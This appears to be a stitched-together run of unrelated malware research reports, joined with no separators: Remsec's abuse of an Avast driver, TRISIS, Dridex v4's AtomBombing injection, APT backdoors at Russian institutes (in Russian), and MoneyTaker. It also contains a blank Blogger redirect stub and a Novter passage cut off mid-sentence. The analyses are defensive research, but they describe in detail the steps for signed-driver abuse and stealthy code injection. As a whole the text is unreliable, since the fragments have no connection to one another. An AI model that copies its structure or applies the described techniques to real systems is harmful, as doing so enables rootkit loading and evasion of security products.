# Remsec Driver Analysis - Part 3 In two previous blog posts, I've described a 32-bit plugin that was mentioned by Kaspersky in their technical analysis. The plugin is called kgate and it has some interesting features, including exploiting a 32-bit Agnitum driver to run a rootkit driver and run 32-bit or 64-bit kernel mode code in a non-standard way. It's hard to say how stable this code works on a live system because the authors use undocumented Windows kernel functions like `ObCreateObject` and `ObInsertObject` for creating a new `DriverObject`. There is one more 64-bit plugin called xkgate, which is used for compromising 64-bit Windows versions. Unlike the kgate plugin, xkgate contains a valid timestamp in the PE header - 20 Aug 2014 (08:34:04). Both plugins contain code with identical functions in their `.krwkr64` and `.krdrv64` sections, but it looks like the xkgate plugin was written later than kgate. Although the kgate plugin has a zeroed timestamp in the PE header, its file contains one timestamp inside - Oct 28 2013. This means that operators have switched from the kgate plugin, which was developed to load Ring 0 code for both x32 and x64 platforms, to a special edition for x64 called extended kgate. Like the kgate plugin, xkgate also contains a timestamp inside its file - Aug 19 2014. This timestamp confirms that the date of compilation in the PE header of xkgate is valid, although they differ by one day. I think the reason for this difference is that the timestamp inside the file contains time data for debugging purposes and was set by the authors manually. The plugin also contains Ring 0 code in two separate sections named `.krwkr64` and `.krdrv64`. Section `.rdata` stores the whole AVAST! Virtualization Driver file `aswsnx.sys`, which is used by xkgate for loading its own kernel mode code. Section `.avit` contains code for communication with the AVAST driver from a "trusted" process. Below you can see information about digital signatures of legitimate drivers Outpost and AVAST! that have been used by Remsec authors for loading Ring 0 code. According to the language used in debug comments for both plugins, the authors were native English speakers. However, it is not clear why they didn't remove debug information from it. Below you can see strings that are present in xkgate: - Load error: Access Denied - Load error: Unsupported OS - Load error: Invalid plugin image format! - Load error: Plugin entry point not found! - Load error: Failed to resolve kernel functions! - Load error: Out of memory! - Load error: Status unsuccessful! - Load error: Failed to run plugin (%#x) - Unsupported OS! Only Windows 2000 and later supported! - Unable to determine 32/64-bit OS! - Invalid plugin name: path not allowed, try using -n. - Invalid plugin name: suffix not allowed, try using -n. - Unable to load kernel plugin %s! - Unable to build argv! - Plugin successfully executed! - GateDriver is currently disabled on x64 systems due to driver signing restrictions! From the table above, you can see that some IOCTL functions are not used by attackers. As I mentioned above, xkgate leverages the Avast driver for executing Ring 0 code, which doesn't drop to FS. There is a function `fnLoadAvast` that is responsible for loading the Avast driver in the proper way. It also performs actions to reproduce the correct environment for it. Unlike exploiting the Agnitum driver, this situation is more challenging for exploitation. The first action that `fnLoadAvast` does is to create a mutex with the name `Global\yRg7d3x` and checks the result of `WaitForSingleObject` to prevent doing the same actions again. Next, the code calls `fnDropAvastDriverAndPrepareEnv` function that performs the following actions: - Creates directory `\SystemRoot\Temp\aswSnx` for dropping AVAST related files. - Drops `aswSnx.sys` to FS. - Drops `snx_lconfig.xml` to FS. - Drops `snx_gconfig.xml`. - Creates an empty file `snxhk.dll`. - Creates `aswSnx.exe` and writes to it the content of `notepad.exe`. Next, `fnLoadAvast` calls `fnCreateAvastServiceAndLoadDriver` for creating the AVAST service key in the registry: - It creates key `System\CurrentControlSet\Services\aswSnx`. - Creates parameter `ImagePath` with the path to `\SystemRoot\Temp\aswSnx\aswSnx.sys`. - Creates parameter `Type`. - Creates subkey `Parameters`. - Creates parameter `DataFolder` inside the subkey with value `\??\Global\GLOBALROOT\SystemRoot\Temp\aswSnx`. - Creates parameter `ProgramFolder` with value `\??\Global\GLOBALROOT\SystemRoot\Temp\aswSnx`. - Creates key subkey `Instances`. - Creates parameter `DefaultInstance` inside the `Instances` key. - Creates parameters `Altitude` and `Flags`. - Loads `aswSnx.sys` with `NtLoadDriver`. After `aswSnx.sys` was loaded, `fnLoadAvast` removes `snxhk.dll` and `snxhk64.dll` files from FS with the help of `NtSetInformationFile`. The next step is creating the process `aswSnx.exe`, which is actually `notepad.exe`. After that, it opens a handle on the AVAST device `\Device\aswSnx`. After creating the `aswSnx.exe` (notepad) process in a suspended state, it duplicates the handle to `\Device\aswSnx` from the current plugin process into the new process `aswSnx.exe`. As you already guessed, the next step is copying code for communicating with the AVAST driver into `aswSnx.exe`. The copied code is located in a special `.avit` section and performs `DeviceIoControl` that triggers the execution of Ring 0 rootkit code from the AVAST driver. In the loaded Ring 0 code, we can see a function for dispatching `FastDeviceControl` requests. As you can see, both Agnitum and AVAST! drivers became exploitable for Remsec authors because both don't properly check the caller process based on digital signature. Although `notepad.exe` is signed with a Microsoft digital certificate, which means AVAST! can check the digital signature of the caller process in the `IRP_MJ_CREATE` handler, it doesn't check the name of the signer.
# TRISIS: Analyzing Safety System Targeting Malware **December 14, 2017** **By Robert M. Lee** Today, the Dragos, Inc. team is releasing a report titled *TRISIS: Analyzing Safety System Targeted Malware*. TRISIS is malware that was developed and deployed to at least one victim in the Middle East to target safety instrumented systems (SIS). Dragos, Inc. found and analyzed the malware last month and made sure our ICS WorldView customers were aware and prepared with proper defense recommendations. We did not make news of this malware public because it is in our policy not to be the first to disclose ICS targeted malware or threats. Our reasons for this revolve around the fact that releasing such information can have a blowback effect on the industrial community. ICS threats are commonly hyped up in the public, and the asset owners and operators are hit with trying to deal with the consequences of that while also trying to gather how they will prepare and respond to the threat. Additionally, informing the public about the threat also reveals to the threat what we know and can help the adversary be more effective. This is a delicate balance though because there is value in informing the larger community for lessons learned and information sharing as well. This puts security vendors in a difficult choice at times where there is no right answer. Our choice though, looking at the balance from our perspective, is only to publicly talk about threats, even if we find them first in the community, after someone else talks about it or the information leaks to the public. This allows our reporting to focus on the “so what” factor and the nuance of the issue as well. The key takeaways from the report and things to know about TRISIS: - The malware targets Schneider Electric’s Triconex safety instrumented system (SIS), thus the name choice of TRISIS for the malware. - TRISIS has been deployed against at least one victim, which resulted in operational impact. - The victim identified so far is in the Middle East, and currently, there is no intelligence to support that there are victims outside of the Middle East. - Triconex line of safety systems are leveraged in numerous industries; however, each SIS is unique, and to understand process implications would require specific knowledge of the process. This means that this malware must be modified for each specific victim, reducing its scalability. - The Triconex SIS controller had the keyswitch in ‘program mode’ during the time of the attack, and the SIS was connected to the operations network against best practices. In a proper configuration and with the controller placed in Run mode (program changes not permitted), the attackers would face a more difficult challenge implementing the attack. Hindsight advice is not appropriate to apply to future attacks, but it is important to always try to reduce the effectiveness of adversary attack vectors. - Although the malware is not highly scalable, the tradecraft displayed is now available as a blueprint to other adversaries looking to target SIS and represents an escalation in the type of attacks seen to date as it is specifically designed to target the safety function of the process. - Compromising the security of an SIS does not necessarily compromise the safety of the system. Safety engineering is a highly specific skillset and adheres to numerous standards and approaches to ensure that a process has a specific safety level. As long as the SIS performs its safety function, the compromising of its security does not represent danger as long as it fails safe. The TRISIS malware is a very significant event for the community as the fifth ever ICS-tailored malware and the first to directly target SIS. It is a very bold attack while not technically complicated. The Dragos team intends for our report to ensure the proper nuance and recommendations to the community are captured. Our threat intelligence customers of our ICS WorldView reports can access the Dragos Intelligence Portal to get further information and technical details. We will continue to analyze and report out on this malware and its developments as well. Good luck to the community, and always remember that defense is doable.
# Dridex's Cold War: Enter AtomBombing **February 28, 2017** **By Magal Baz co-authored by Or Safran** IBM X-Force discovered that Dridex, one of the most nefarious banking Trojans active in the financial cybercrime arena, recently underwent a major version upgrade that is already active in online banking attacks in Europe. A few weeks ago, our cybercrime labs detected a new major version of the Dridex banking Trojan, Dridex v4. The updated code features a new and innovative injection method based on a technique dubbed AtomBombing, which was first disclosed in October 2016 by security firm enSilo. Dridex is the only banking Trojan we have encountered to use AtomBombing. This change is especially significant when it involves Trojans believed to be operated by an organized cybercrime gang because it’s likely to result in other codes adopting the same method in the future. Dridex’s developers also worked on a major upgrade to the malware’s configuration encryption. This upgrade includes implementing a modified naming algorithm, a robust but easy-to-spot persistence mechanism, and a few additional enhancements. According to IBM Security detection, Dridex v4 is already out and active in campaigns that mostly target UK banks. Dridex attacks on online banking users in the UK are based on its hVNC RAT capabilities and redirection attack scheme, which appears to have replaced the webinjects method as Dridex’s top M.O. ## A Major Version Is a Major Deal Dridex’s code is based on that of the Bugat Trojan, which was first discovered in early 2010. Bugat has since evolved into a number of different variations, including Cridex and Feodo. The Dridex form first appeared in 2014. When it comes to their development cycles, Dridex’s authors release minor versions quite often, and a major version much less frequently. The releases of the minor and major versions are easy to spot since Dridex’s developers clearly track their releases. Dridex’s build numbers are found inside its configuration and in the binary’s code. When it comes to major versions for Dridex, the most stable and resilient version to date has been v3, which was released in April 2015 and has been used in all known attack campaigns up until the v4 release. Dridex v2 did not enjoy the same kind of longevity and was only active in early 2015. The first version, released in late 2014, lasted only until the beginning of 2015. The release of a major version upgrade is a big deal for any software, and the same goes for malware. The significance of this upgrade is that Dridex continues to evolve in sophistication, investing in further efforts to evade security and enhance its capabilities to enable financial fraud. ## How ‘Bout That Code Injection? When it comes to malware detection, the injection of malicious code from one process into another is one of the most popular events antivirus and other security solutions aim to monitor and use as an indication of compromise. Most financial malware uses three steps to inject code: remote memory allocation, remote writing of a payload into the allocated memory, and finally, remote execution of the payload. Malware commonly uses the CreateRemoteThread method to execute a payload or to call LoadLibrary, typically using the following application program interface (API) calls: - VirtualAllocEx to allocate a buffer in the remote process with RWX permissions; - WriteProcessMemory to copy the payload to the allocated buffer; and - CreateRemoteThread to execute the payload. The problem is that this is a very suspicious and obvious way to inject code. And since it’s likely to raise red flags, malware authors would much rather use alternative methods. ### Enter AtomBombing, but Only Halfway Through In October 2016, enSilo researchers exposed a new code injection technique called AtomBombing, which allows the malware to inject code without making any of the aforementioned API calls. Rather, AtomBombing makes use of Windows’ atom tables and the native API NtQueueApcThread to copy a payload into a read-write (RW) memory space in the target process. It then uses NtSetContextThread to invoke a simple return-oriented programming (ROP) chain that allocates read/write/execute (RWX) memory, copies the payload into it, and executes it. Finally, it restores the original context of the hijacked thread. In our analysis of the new Dridex v4 release, we discovered that the malware’s authors have devised their own injection method, using the first step of the AtomBombing technique. They use the atom tables and NtQueueAPCThread to copy a payload and an import table into a RW memory space in the target process. But they only went halfway — they used the AtomBombing technique for the writing of the payload, then used a different method to achieve execution permissions, and for the execution itself. Nonetheless, this is the first implementation of AtomBombing within the context of banking Trojans, probably designed to help Dridex avoid detection. ## Getting the Payload to the Target Process This stage is almost identical to what is described in the EnSilo blog, so we’ll explain it briefly here and focus on what’s unique in Dridex’s implementation of this method. Throughout the injection flow, Dridex needs arbitrary code to be executed by a thread in a targeted process. To do that, it uses Windows asynchronous procedure calls (APC) by calling the NtQueueAPCThread API. There’s a reason here for using the native API instead of opting for kernel32!QueueUserAPC. It allows three parameters to be passed to the APC routine being called instead of just one parameter allowed by kernel32!QueueUserAPC. During the flow of the malicious code injection, Dridex uses APC requests, for which it needs to find a thread in the target process that is in alertable state, meaning a thread that will actually execute APC calls in its queue. To test whether a thread is alertable, Dridex creates an event and uses an APC request to get the thread to run NtSetEvent to it. It uses a loop to do that with several of the target process’s threads, then calls WaitForMultipleObjects to select the first thread to signal its event. ### Writing the Import Table Next, Dridex gets the injected process to run memset, again via the NtQueueAPCThread API, to zero-out a RW memory space inside Ntdll’s address space. It then starts writing the import table to the allocated memory to be used later by the payload. The writing is done by first putting the data of the import table into an atom table using a call to GlobalAddAtomW. Next, the malware uses the NtQueueAPCThread API to get the target thread to call GlobalGetAtomW, which retrieves the data and places it in the RW memory space in Ntdll. ### Writing the Payload and Then AtomBombing Out After handling the import table, the payload is written to another RW address space using the same technique, only this time writing large chunks of payload code at each call to GlobalGetAtomW. At this point, the flow differs from the one described in the AtomBombing technique. To get the payload into an executable memory space, Dridex simply calls NtProtectVirtualMemory from the injecting process to change the memory where the payload is already written into RWX. It’s a simple fix and a small compromise for the sake of the overall technique, designed to avoid making suspicious API calls, which are usually monitored by security software. ### Executing the Payload After the preparation, the last stage is the execution of the payload. To avoid calling CreateRemoteThread, Dridex again uses APC. Using an APC call to the payload itself would be very suspicious, however, and could be detected and stopped. Instead, it uses the same GlobalGetAtomW method to patch GlobalGetAtomA, hooking it to execute the payload. This action, of course, requires another call to NtProtectVirtualMemory to make GlobalGetAtomA writable. Dridex then proceeds to use the Windows APC to call GlobalGetAtomA, which executes the payload. ## Additional Enhancements in Dridex v4 Besides building out a new code injection method, Dridex v4 differs from the older versions in several other ways. Below are some of the enhancements made to the code in the new release. ### A Modified Naming Algorithm Dridex uses its own method to generate MD5 hashes using a string concatenation of the hostname, active user name, OS installation date, and an added seed. These hashes are used for many purposes. They can be mutex names, event names, key names for configurations in the registry, RC4 keys, and more. In the new version, while the same variables are still being used to generate these hashes, the sequence has changed to shuffle things around and prevent detection by automated checks. ### Enhanced Encryption for the Configuration Dridex’s configurations contain many details about its targets and the attack types used in each case. Dridex also serves up its redirection scheme from the configuration, which makes it a file it aims to protect. In v4, Dridex’s developers significantly upgraded the cryptographic protection for the configuration. Overall, Dridex continues to use the same multilayered approach it used in v3 variants, but it has changed and enhanced the encryption while still relying heavily on the RC4 cipher. The unique binary format in which Dridex keeps its target list configurations, such as the URLs of targeted banks, has also received a cryptographic upgrade to keep targeted entities in the dark as much as possible. ### Updated Persistence Mechanism Up until the recent v3 build, Dridex used a very specific, invisible persistence mechanism. This method was called invisible because it was not present at all as long as the infected endpoint was up and running. Only before a shutdown of the operating system, Dridex’s dynamic link library (DLL) would get written to disk, and a registry value (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) was created to execute the malicious DLL upon reboot. The method was completely abandoned in v4, and Dridex now uses a DLL-hijacking technique instead. An executable is copied from system32 into a different directory, and Dridex’s DLL is placed in that same directory. The malicious DLL mimics a legitimate DLL that’s loaded by the executable. According to Windows file path priority, the malicious DLL gets loaded instead of the original one, which is located in system32. These setups are placed in system32 and %AppData% folders and executed by registry run keys and scheduled tasks. X-Force research noted that this method was already observed in some of the last v3 builds detected in the past few months, but v4 has fully adopted this robustness-over-stealth approach for its persistence mechanism. ## Conclusion The Dridex malware project continues to evolve, and 2017 is likely to be another year of change for this Trojan. Over the long reign of Dridex v3, we have seen some significant changes implemented into the malware’s operations, such as modified anti-research techniques, redirection attacks, and fraudulent M.O. changes. It is not surprising to see a new major version released from this gang’s developers. In this release, we noted that special attention was given to dodging antivirus (AV) products and hindering research by adopting a series of enhanced anti-research and anti-AV capabilities. The changes to Dridex’s code injection method are among the most significant enhancements in v4. They allow Dridex to propagate in the infected endpoint with minimal calls to marked API functions. The adoption of a new injection technique shortly after its discovery demonstrates Dridex’s efforts to keep up with the times and the evolution of security controls. Although they relied on a publicized method, Dridex’s developers created their own version of it, a choice that is consistent with their usual preference to write proprietary code schemes for Dridex, as they did for its binary configuration format, for example. ## IOCs In this research, we analyzed Dridex sample MD5s 4599fca4b67c9c216c6dea42214fd1ce and 1e6c6123af04d972b61cd3cde5e0658e. Dridex is featured in an X-Force Exchange collection, which is updated regularly. IBM Security has a great deal of information on Dridex v4 and its attack schemes and can help banks and other targeted organizations learn more about this high-risk threat. To help stop threats like Dridex, banks and service providers can use adaptive solutions to detect infections and protect customer endpoints when malware evolves or enhances its focus on the organization’s locale. Fighting evolving threats such as Dridex attacks can be made easier with the right malware detection solutions. With protection layers designed to address the ever-changing threat landscape, financial organizations can benefit from malware intelligence that provides real-time insight into fraudster techniques and capabilities.
# Исследование целевых атак на российские НИИ ## Введение В конце сентября 2020 года в вирусную лабораторию «Доктор Веб» за помощью обратился один из российских научно-исследовательских институтов. Сотрудники НИИ обратили внимание на ряд технических проблем, которые могли свидетельствовать о наличии вредоносного ПО на одном из серверов локальной сети. В ходе расследования вирусные аналитики установили, что на НИИ была осуществлена целевая атака с использованием специализированных бэкдоров. Изучение деталей инцидента показало, что сеть предприятия была скомпрометирована задолго до обращения к нам и, судя по имеющимся у нас данным, — не одной APT-группой. Полученные в ходе расследования данные говорят о том, что первая APT-группа скомпрометировала внутреннюю сеть института осенью 2017 года. Первичное заражение осуществлялось с помощью BackDoor.Farfli.130 — модификации бэкдора, также известного как Gh0st RAT. Позднее, весной 2019 года в сети был установлен Trojan.Mirage.12, а в июне 2020 — BackDoor.Siggen2.3268. Вторая хакерская группировка скомпрометировала сеть института не позднее апреля 2019, в этот раз заражение началось с установки бэкдора BackDoor.Skeye.1. В процессе работы мы также выяснили, что примерно в то же время — в мае 2019 года — Skeye был установлен в локальной сети другого российского НИИ. Тем временем в июне 2019 года компания FireEye опубликовала отчет о целевой атаке на государственный сектор ряда стран центральной Азии с использованием этого бэкдора. Позднее, в период с августа по сентябрь 2020 года вирусные аналитики «Доктор Веб» зафиксировали установку различных троянов этой группой в сети предприятия, включая ранее не встречавшийся DNS-бэкдор BackDoor.DNSep.1, а также хорошо известный BackDoor.PlugX. Более того, в декабре 2017 года на серверы обратившегося к нам НИИ был установлен BackDoor.RemShell.24. Представители этого семейства ранее были описаны специалистами Positive Technologies в исследовании Operation Taskmasters. При этом мы не располагаем такими данными, которые позволили бы однозначно определить, какая из двух APT-групп использовала этот бэкдор. ## Кто стоит за атаками? Деятельность первой APT-группы не позволяет нам однозначно идентифицировать атаковавших как одну из ранее описанных хакерских группировок. При этом анализ используемых вредоносных программ и инфраструктуры показал, что эта группа активна как минимум с 2015 года. Второй APT-группой, атаковавшей НИИ, по нашему мнению является TA428, ранее описанная исследователями компании Proofpoint в материале Operation Lag Time IT. В пользу этого вывода говорят следующие факты: 1. В коде бэкдоров BackDoor.DNSep и BackDoor.Cotx имеются явные пересечения и заимствования. 2. BackDoor.Skeye.1 и Trojan.Loader.661 использовались в рамках одной атаки, при этом последний является известным инструментом TA428. 3. Бэкдоры, проанализированные нами в рамках этих атак, имеют пересечения в адресах управляющих серверов и сетевой инфраструктуре с бэкдорами, используемыми группировкой TA428. Теперь подробнее рассмотрим выявленные связи. На графе приведена часть задействованной в атаке инфраструктуры с пересечениями бэкдоров Skeye и другим известным APT-бэкдором — PoisonIvy. Детальный анализ бэкдора DNSep и его последующее сравнение с кодом бэкдора Cotx выявили сходство как в общей логике обработки команд от управляющего сервера, так и в конкретных реализациях отдельных команд. Другой интересной находкой этого исследования стал бэкдор Logtu, один из его образцов мы ранее описывали в рамках расследования инцидента в Киргизии. Адрес его управляющего сервера совпал с адресом сервера бэкдора Skeye — atob[.]kommesantor[.]com. В связи с этим мы также провели сравнительный анализ BackDoor.Skeye.1 с образцами BackDoor.Logtu.1 и BackDoor.Mikroceen.11. Подробные технические описания обнаруженных вредоносных программ находятся в PDF-версии исследования и в вирусной библиотеке Dr.Web. ## Сравнительный анализ кода BackDoor.DNSep.1 и BackDoor.Cotx.1 Несмотря на то, что каналы связи с управляющим сервером у Cotx и DNSep кардинально различаются, нам удалось найти интересные совпадения в коде обоих бэкдоров. Функция, отвечающая за обработку команд от управляющего сервера, принимает аргументом структуру: ```c struct st_arg { _BYTE cmd; st_string arg; }; ``` При этом, если нужная функция принимает несколько аргументов, то они все записаны в поле arg с разделителем |. Набор команд BackDoor.Cotx.1 обширнее, чем у BackDoor.DNSep.1, и включает все команды, которые есть у последнего. В таблице ниже видно почти полное совпадение кода некоторых функций бэкдоров. При этом следует учитывать, в Cotx используется кодировка Unicode, а в DNSep — ANSI. ### BackDoor.DNSep.1 - Обработчик команды на отправку листинга каталога или информации о диске - Функция получения информации о дисках - Функция перечисления файлов в папке ### BackDoor.Cotx.1 - Функция сбора информации о файлах в папке Полученные в результате анализа данные позволяют предположить, что при создании бэкдора DNSep его автор имел доступ к исходным кодам Cotx. Поскольку эти ресурсы не являются общедоступными, мы предполагаем, что автор или группа авторов DNSep имеет отношение к группировке TA428. В пользу этой версии говорит и тот факт, что образец DNSep был найден в скомпрометированной сети пострадавшей организации вместе с другими известными бэкдорами TA428. ## Сравнительный анализ кода бэкдоров Skeye, Mikroceen, Logtu В процессе исследования бэкдора Skeye мы обнаружили, что адрес его управляющего сервера также используется бэкдором семейства Logtu. Для сравнительного анализа мы использовали ранее описанные нами образцы BackDoor.Logtu.1 и BackDoor.Mikroceen.11. ### Функции логирования Логирование во всех случаях так или иначе обфусцировано. - BackDoor.Mikroceen.11 — сообщения в формате %d-%d-%d %d:%d:%d <msg>\r\n записываются в файл %TEMP%\WZ9Jan10.TMP, где <msg> — случайная текстовая строка. В образце 2f80f51188dc9aea697868864d88925d64c26abc сообщения записываются в файл 7B296FB0.CAB. - BackDoor.Logtu.1 — сообщения в формате [%d-%02d-%02d %02d:%02d:%02d] <rec_id> <error_code>\n<opt_message>\n\n перед записью в файл %TEMP%\rar<rnd>.tmp шифруются операцией XOR с ключом 0x31. - BackDoor.Skeye.1 — сообщения в формате %4d/%02d/%02d %02d:%02d:%02d\t<rec_id>\t<error_code>\n записываются в файл %TEMP%\wcrypt32.dll. Общая логика последовательности записи сообщений в журнал также схожа у всех трех образцов: - начало исполнения фиксируется; - в Logtu и Mikroceen в журнал записывается прямое подключение к управляющему серверу; - в каждом случае указывается, через какой прокси выполнено подключение к серверу; - в случае ошибки на этапе получения прокси из того или иного источника в журнале фиксируется отдельная запись. Следует заметить, что настолько подробное и при этом обфусцированное логирование встречается крайне редко. Обфускация заключается в том, что в журнал записываются некоторые коды сообщений и в ряде случаев дополнительные данные. Кроме того, в данном случае прослеживается общая схема последовательности записи событий: - начало исполнения; - попытка подключения напрямую; - получение адресов прокси; - запись о подключении через тот или иной сервер. ### Поиск прокси-сервера Последовательность соединения с управляющим сервером также выглядит похожей у всех 3 образцов. Первоначально каждый бэкдор пытается подключиться к серверу напрямую, а в случае неудачи может использовать прокси-серверы, адреса которых находятся из трех источников помимо встроенного. Получение адресов прокси-серверов BackDoor.Mikroceen.11: - из файла %WINDIR%\debug\netlogon.cfg; - из собственного лог-файла; - путем поиска соединений с удаленными хостами через порты 80, 8080, 3128, 9080 в TCP-таблице. Получение адресов прокси-серверов BackDoor.Logtu.1: - из реестра HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer; - из раздела HKU реестра по SID активного пользователя; - с помощью WinHTTP API WinHttpGetProxyForUrl путем запроса к google.com. Получение адресов прокси-серверов BackDoor.Skeye.1: - из раздела HKCU Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer; - из раздела HKU по SID активного пользователя; - путем поиска соединений с удаленными хостами через порты 80, 8080, 3128, 9080 в TCP-таблице. ## Пересечения в сетевой инфраструктуре Некоторые образцы совместно использовали одну и ту же сетевую инфраструктуру. Фрагмент графа наглядно показывает взаимосвязь между семействами. ### Идентификаторы В образцах Logtu и Mikroceen присутствуют строки, которые используются в качестве идентификаторов сборок или версий. Формат некоторых из них совпадает. #### BackDoor.Mikroceen.11 - SHA1: ce21f798119dbcb7a63f8cdf070545abb09f25ba - Id: intl0113 #### BackDoor.Logtu.1 - SHA1: 029735cb604ddcb9ce85de92a6096d366bd38a24 - id: intpz0220 Кроме того, в значительном числе образцов данный идентификатор равен значению TEST или test. Таким образом, сравнительный анализ выявил у рассмотренных семейств сходства в: - логике ведения журнала событий и его обфускации; - логике подключения к управляющему серверу и алгоритмах поиска адресов прокси; - используемой сетевой инфраструктуре. ## Заключение В ходе расследования атак на российские НИИ наши вирусные аналитики нашли и описали несколько семейств целевых бэкдоров, включая ранее неизвестные образцы. Следует отдельно отметить длительное скрытое функционирование вредоносных программ в скомпрометированной сети пострадавшей организации — несанкционированное присутствие первой APT-группы оставалось незамеченным с 2017 года. Характерной особенностью является наличие пересечений в коде и сетевой инфраструктуре проанализированных образцов. Мы допускаем, что выявленные связи указывают на принадлежность рассмотренных бэкдоров к одним и тем же хакерским группировкам. Специалисты компании «Доктор Веб» рекомендуют производить регулярный контроль работоспособности важных сетевых ресурсов и своевременно обращать внимание на сбои, которые могут свидетельствовать о наличии в сети вредоносного ПО. Основная опасность целевых атак заключается не только в компрометации данных, но и в длительном присутствии злоумышленников в корпоративной сети. Такой сценарий позволяет годами контролировать работу организации и в нужный момент получать доступ к чувствительной информации. При подозрении на вредоносную активность в сети мы рекомендуем обращаться в вирусную лабораторию «Доктор Веб», которая оказывает услуги по расследованию вирусозависимых компьютерных инцидентов. Оперативное принятие адекватных мер позволит сократить ущерб и предотвратить тяжелые последствия целевых атак.
# MoneyTaker ## 1.5 Years of Silent Operations December 2017 ## Summary From May 2016 to November 2017, at least 20 organizations were attacked in the United States, UK, and Russia. At least one of the US banks was successfully robbed twice. In addition to money, attackers stole documentation related to interbank payment systems, which appear to have been obtained to prepare for further attacks. Based on analysis of these incidents, attack tools, and the tactics applied, we have concluded that the same group, which Group-IB has dubbed MoneyTaker (after the malware used), is behind these attacks. It is interesting to note that despite the effectiveness of the attacks, they have gone completely unreported until now. ### Targets - In total, Group-IB has confirmed at least 20 companies as victims of the MoneyTaker group, 16 of which are located in the US. The vast majority of them are small community banks, where hackers attacked card processing systems. The average damage from each successful attack was 500,000 USD baseline. - Criminals stole documentation for OceanSystems’ FedLink card processing system, which is used by 200 banks in Latin America and the US. We believe that banks operating on this infrastructure are at risk of being amongst the next targets of the MoneyTaker group. - In Russia, they focus on attacks on the system of interbank transfers AWS CBR (Russian Interbank payment system). The average amount of damage caused by this theft scheme is 1.2 million USD per incident. That said, the affected banks managed to return some portion of the stolen money. ### Tools and Tactics Attackers use both borrowed and their own self-written tools. When attacking, hackers act creatively and wisely: they use "one-time" infrastructure and carefully erase traces of their activity post-incident. #### Infiltration - To penetrate the corporate network, the group uses legitimate pen testing tools - Metasploit and PowerShell Empire. - After successful infection, they carefully erase malware traces. However, when investigating one of the incidents, we managed to discover the initial point of compromise: hackers penetrated the bank’s internal network by gaining access to the home computer of the bank’s system administrator. #### Stealthy Techniques - The group uses ‘fileless’ malware which only exists in RAM and is removed on rebooting. - To protect C&C communications from being detected by security teams, hackers employ SSL certificates generated using names of well-known brands: Bank of America, Federal Reserve Bank, Microsoft, Yahoo, etc. - Servers used to perform initial infection are one-time components which are changed immediately after a successful infection. ### Attack Tools Members of the group are skilled enough to promptly adjust the tools applied. In some cases, they made changes to the source code ‘on the fly’ - during the attack. | Created Tools | Borrowed Tools | |---------------|----------------| | MoneyTaker 5.0 - malicious program for auto replacement of payment data in AWS CBR | Metasploit and PowerShell Empire | | ‘Screenshotter’ and ‘keylogger’ to conduct espionage and capture keystrokes | Privilege escalation tools, whose code were demonstrated as a Proof of Concept at ZeroNights cybersecurity conference in Moscow in 2016. More data provided later in this report | | MoneyTaker ‘Auto-replacement’ program to substitute payment details in the interbank transfer system | Citadel and Kronos Banking Trojans. The latter one was used to deliver a Point-of-Sale (POS) malware dubbed ScanPOS | ### Tracking the Attacks - Servers used to conduct the attacks were specifically configured to deliver the malicious payload to a predetermined list of IP addresses belonging to the target company. This methodology was employed by attackers to prevent the payload from falling into the hands of security analysts and experts. - After each round of attacks, hackers deploy new infrastructure for network persistence. - In detected incidents, criminals used a program that should have carefully removed all components of the programs applied. However, due to an error made by the developer, the data were not deleted from the attacked machines, which enabled forensic experts to learn details of the hackers’ activity. ### Interrelations Between Incidents In 1.5 years, Group-IB confirmed 20 incidents in total. Initially, we divided these incidents into three groups and considered them as separate. However, through in-depth investigation of the infrastructure, tools, and tactics applied, we have concluded that one group is behind all these attacks – MoneyTaker. #### Common Features of Groups 1-3 - Metasploit used to infiltrate corporate networks - SSL certificates generated using popular brands to protect traffic between Meterpreter and C&C - Russian-speaking attackers - Own developers who create unique tools - Modification of the malicious code during attack - Covering tracks of the initial infection vector - Setting up forwarding corporate emails to Yandex and Mail.ru, free mail services. ### Recommendations - Run an indicator check-up in the following section - Prohibit any remote logon to the system (RDP, SMB, RPC) for local administrators. We recommend that you use only Logon type 2 (interactive). - Configure the following parameter in the registry on all PCs running Windows 7 (and up) and all the servers using Windows 2008 R2: HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/SecurityProviders/WDigest/UseLogonCredential=0 - Prohibit a standard local administrator with an ID =500 (which is vulnerable to pass-the-hash attack). Add another administrator and install updates to protect against Pass the hash attacks. - Minimize and completely deny granting administrator privileges for users of local PCs, especially for users who work with external information systems. - Use a different local Administrator account password on every node, which must not match any domain administration credentials. If this rule is not currently applied – change all the passwords, make them unique, long, and complex. Securely manage local Administrator passwords by using specialized tools, such as Microsoft’s Local Administrator Password Solution (LAPS). - Deny granting domain administrator privileges for common user accounts. In order to perform domain administrative tasks, create a separate additional domain user account for each administrator, while preventing them from performing daily routine administrator work on their PCs under an account with administrative rights. - Isolate hosts in the same VLAN, so that one workstation would not be able to gain access to another one on network levels L2/L3, and could access shared network segments (printers, servers, etc.). - Provide timely updates of OS, antivirus software, and other applications. - Configure the service accounts with the minimum set of permissions necessary for them to function properly (with respect to logon type and group membership). Strictly prohibit adding service accounts to the local administrators group unless absolutely necessary. - Use IDS solutions and a sandbox to analyze files. We recommend that companies apply technology like Group-IB’s TDS Sensor and sandbox, which are able to detect and prevent these types of attacks. ### About Group-IB Group-IB helps major corporations recognize and react to the most sophisticated cyber threats. Group-IB leverages its proprietary high-tech infrastructure to monitor hacker activity and extract unique data. These data is accomplished by profound human intelligence by experts who conduct incident response and monitor the most secretive underground hacker forums.
# Android Malware: Tracking Android BankBot Sorry for the inconvenience… Redirection provided by Blogger to WordPress Migration Service
# Novter’s Attack Chain Novter communicates with its command-and-control (C&C) servers and downloads multiple JavaScript modules for different purposes. We have identified three Novter modules, which include: 1. A module that shows a technical support scam page on the victim’s machine. 2. A module that abuses WinDivert (Windows packet divert, a tool that enables network packets sent to and from Windows network stacks to be captured, modified, or dropped) to block the communication from processes like those from antivirus (AV) software. 3. A module (dubbed “Nodster”) that is written with NodeJS and socket.io for proxying network traffic. We consider it a module to build a proxy network for supporting their new AD click-fraud operation. KovCoreG’s attacks are socially engineered malvertisements that lure unwitting users into downloading a software package needed to update their supposedly out-of-date Adobe Flash application. However, it instead drops a malicious HTML application (HTA) file, named Player{timestamp}.hta. When the victim executes the HTA file, it will load additional scripts from a remote server (communication is RC4-encrypted) and run a PowerShell script that appears to take inspiration from the open-source Invoke-PSInject project. The PowerShell script, in turn, will disable Windows Defender and Windows Update processes. It runs 